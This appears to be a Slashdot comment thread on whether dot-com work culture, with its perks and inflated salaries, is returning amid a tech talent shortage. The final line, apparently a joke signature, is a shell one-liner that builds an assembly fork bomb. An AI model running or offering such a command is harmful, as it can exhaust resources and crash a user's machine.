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Dot-Com Work Culture Making a Comeback?
jeebus writes "This week a Deloitte study has shown that high on the agenda of CEOs around the world is the shortage of tech talent. Is a shortage of talented geeks in the market seeing a return of the dot-com culture with foosball tables, beanbags, and inflated salaries used to entice talented workers? Welcome to Web 2.0 work culture, the future of yesterday. 'Global recruitment companies were telling prospecting employees that they were no longer going to be employed just because they were a technical guru. They were going to have to learn to dress, communicate, and adapt all the traditional corporate ideals that IT has been exempt from during the dot-com boom. Fast forward to Web 2.0 and while workplaces aren't as cheesy with their decor as they were were in the late '90s, and developers aren't getting paid $100K for being HTML and JavaScript jockeys, geeks just aren't chuffed with corporate culture.'"
It's going to come up, so let me save you all some time:
From The English to American Dictionary
You see this kind of thing happen whenever demand for IT professionals goes up because of the common perception that IT people are 'geeks/nerds' who are willing to take compensation in the form of casual wear and beanbag chairs instead of in salary... Given that the company is interested in its own bottom line, which is cheaper, a pinball machine or giving everyone a raise?
Thank God Sony gave me this great job developing games for the PS3.
SJW: Someone who has run out of real oppression, and has to fake it.
There's no heady optimism about the future, and that, really, when you think about it, the collapse of the dot net boom and worse, the later ruling about expensing stock options, and then the war, this decade has been utterly depressing.
In my opinion, it all depends on perspective. During the dot-com boom, I was sitting on a stool in a tiny backroom doing electronic repairs on video equipment. To make ends meet, I spent all my free time going house-to-house doing computer repairs. Somehow, I found time to take college classes and get my B.S. in Computer Science. The entire time, I was continually told that I needed to move to California and get in on the big paychecks. Now, I have a nice office at the top of one of the tallest buildings in town, looking across the city and into the bay. I work pretty much when I want to - as long as the work is done, nobody complains. I make enough that my wife doesn't have to work and she can stay at home and raise our son. I don't work evenings or weekends. I'm still taking classes here and there to get my PhD. For me, there is optimism.
The previous comment is purposely vague and generalized, but all of the facts are completely true.
Goodbye, pants!
Then there will be a corresponding increase in salaries to attract good employees... Which strangely hasn't happened, so it can't be much of a shortage.
Deleted
"They were going to have to learn to dress, communicate, and adapt all the traditional corporate ideals that IT has been exempt from during the dot-com boom."
IT was never exempt from communication, as IT is all ABOUT communication. Learning to dress usually means adhering to an arbitarily strict dress code that interferes with the nature of IT work to begin with. Ever try to set up a work station while wearing a suit and tie or something similar? You end up fighting your clothes more than the probelm at hand.
And corporate ideals aren't exactly something that I feel good about taking part in. Corporate ideals, for the most part, are trying to figure out how to save the company millions while keeping your mouth shut about anything shady the higher ups are doing. If we went by what people do rather than say, most corporate ideals could be summarized as 'looking for the golden parachute' or 'going to the company picnic to weasel my way into a promotion'.
There's a good reason the dot com companies didn't adhere to most of these. One, if you're working with an open minded crew, dress code doesn't matter aside from a few very basic rules. Two, ideals mean NOTHING if they aren't followed. You can bitch about how its all for the workers all you want, but when you give yourself a nice fat bonus over your workers, all of that just went out the window.
I call it breaking tradition. Tradition is you sit down, shut up, and do your job and whatever else they can trick you into doing. You're to dress up like good little sheeple and make sure not to look any of the higher ups in the eye.
IT people by nature are used to being different. They're used to thinking for themselves, because its probably the only reason they've survived into the IT field far enough to be employed for it. We aren't used to keeping our mouths closed while being treated like shit, or putting on four layers of expensive clothes just to dirty them up by rewiring the networking cabinet.
I wish it could be a wakeup call for all jobs that don't deal with customers/clients face-to-face. Just because the person processing your invoices is wearing a suit and tie doesn't mean he isn't forwarding your account information to his shady cousin. Nor does it mean he isn't talking smack about his co-workers or fantasizing about the new girl down in Advertising. All it means is he's wearing a suit beacuse someone made a policy saying that he had to.
It doesn't even look better than business-casual.
Job? I don't have time to get a job! Who will sit around and bitch about being broke and unemployed then?
If there's one thing that bothered me about the dot-com culture, it was all the wasted money on crap like foosball tables. I don't like corporate culture either, but for god's sake people have some perspective and MODERATE! Here are some plain truths that few people want to admit to:
1. Someone who actually knows what they're doing when it comes to computers is not a business person or an executive. A lot of people who dream about jobs in the technology sector always imagine that it somehow leads to the top of the glass tower and a corner office. It doesn't and it shouldn't. If you want that and you have middling to poor technical skills, then you're not cut out for technology. Instead you should go straight for that MBA now. Sure, there's the very rare and occasional individual who is very good with computers and also has business acumen, but you really have to look far and wide to find these strange hybrids. Most business people just aren't that good at computers other than using Office, maybe some SQL and that's about it. (This is not meant to insult anyone BTW)
2. A good software developer writes applications that are meant to be run as binaries. Sorry web folks, you're not software developers. At the very best, you are WEB application developers. At worst, you're still coding static HTML pages and trying to get that six figure job. Yes, web developers are necessary. Yes, web developers are quite talented. But web developers are rarely well versed in C or C++. However, many web developers have a leg up on software developers in the visual department though. Not always, but more often than not.
3. Everything I said about the web developers above? It all applies in reverse to the software developers. As always, there are some exceptions, but they are rare. Software developers should typically not try to write web applications. At best, you'll wind up re-inventing something some other web developer has already done that's ten times better. At worst, you'll wind up with some ugly monstrosity of a web page that isn't user friendly and while the backend might be super efficient, it won't actually do a lot. Stick to software development, it's a different creature altogether. If you are dead set on becoming a web developer, then try REALLY hard NOT to bring much of what you know about UI design (which tends to be little) to the web app side. Remember that the web is primarily a visual medium, including the text. It has to look at least as good as it works.
4. Microsoft based developers are totally different animal. A lot of you are quite talented within your own realm and can whip up some fantastic stuff much faster than your Java and Unix based C using counterparts in terms of look and feel and reusable objects. (The only possible exception being the QT/KDE folks in Unix land) And the subsets of development apply to you as well. There are those of you who develop web apps and those of you who develop applications for use on the desktop. Once again, it's a rare person who can cross those boundaries and do well on both sides. So stick to your side of the development space, unless you want to make a major career change and can actually let go of what you know and take on a totally different mindset.
5. IT computer and network admins are also not executive or "office" positions. A lot of people seem to think that working in IT means a clean office, and you get to wear suits or at the very least business casual. You're wrong. Computer and network admins tend to be the grunts who crawl under desks in a lot of small to medium sized businesses. If you happen to be lucky enough to work in a large or global business, then it's possible that your position will be considered close to but not quite "suit"-ish. Again, if that's what you want, you're better off focusing on the MBA with a minor in CS.
But the bottom line here is that people who really know what they're doing with computers are rarely business people. They are rarely cut out to function within c
-"...bad old ideas look confusingly fresh when they are packaged as technology" - Jaron Lanier (Digital Maoism on Edge.o
Lets face it, many of the IT people were burned during the dot com bust (I still think it was the Y2K bust more than dot com's) We have grown and learned from our mistakes. Many of us have learned how business works, where things can go wrong, and just how the system works. Now it is our turn ;)
I know I have a list.
#1) Do not take options in place of pay.
#2) Do not accept the 50% of your salary now and 50% based on a bonus when the company is profitable.
#3) Do not accept titles in place of raises. Titles are useless.
#4) Make sure the company has a business plan, funding, and a clear way to become profitable.
#5) If something smells funny in accounting, RUN!!! ( If we pay you 45% of your pay as an employee, 40% as a 1099 contractor, 10% in stock options, and 5% in cash, you get to keep more of your money. Or my favorite your pay is $93,000 and your first check comes in and the math only comes up to $85,000. When you ask you find that it is $93,000 - ($1788*3 weeks vacation) - ($1788x 1 week sick leave) In other words, they are not paying for your vacation or time off but offered it when you were hired. )
#6) Do not work more than 55 hours a week unless they are paying overtime.
#7) Document EVERYTHING! Every offer they make needs to be in writing, every promise, everything.
#8) If you want it, negotiate it when being hired!
Any one want to add to this list?
It wasn't just the salaries if that was the main problem at all. It was more general mis-management of money and lack of responsibility by upper management or project managers. I made 40k right out of the gates, but in about 3 months I expensed nearly that in travel (first class), hotels (The W in SF, HoB in Chicago, etc). I had no limit / per diem for food placed on me. Instead of returning home on the weekends we would take trips to Vegas or Tahoe or LA. Other project managers would fight to goto lunch with us and normally we'd end up with a group of 10 and daily lunch bills of nearly $400. It was one big college party with catered breakfasts and dinners, fully stocked bar and kegs (usually of Guinness) refilled once a week.
I heard stories of people asking for books of cab receipts and filling them out randomly just to get an extra $10 or $20 here and there.
Multiply all that by the 5 or 6 people they would shuffle around to create the team it adds up.
When you add that to all these companies wanting to get the big accounts / clients and ignoring the smaller ones that could keep them afloat, yes, you're going to bleed money. $150 million in funds gone in 17 months. I still can't fathom it.
Problem is they want to pay the other way. Almost ALL Tech jobs I see are incredibly underpaid and the managers in charge of it wonder why they cant keep the position filled.
guess what, $18.99 an hour is ENTRY LEVEL, yet these guys want to pay $13-16 an hour and then wonder why they only get high school kids or fresh college grads that only work there for 6 months and leave.
If you want good tech people then you have to PAY for good tech people. Yet this incredibly basic bit of understanding seems to elude Americas CEO's and managers.
Hell the job I left 2 years ago is STILL open because they refuse to pay for what the position demands and only get under qualified people because of the pay offered.
the whole article is nothing more than posturing by Executives whining there is a shortage of cheap and competent labor.
I complain that there is an incredible lack of competent executives running the companies out there.
Do not look at laser with remaining good eye.
The smart "bosses" are more concerned about the holistic profitability of their business
Yeah right. Smart bosses are probably weighing up the cost/benefit ratio of keeping you on versus laying you off versus butchering you in the stationary cabinet and selling your organs on the blackmarket.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;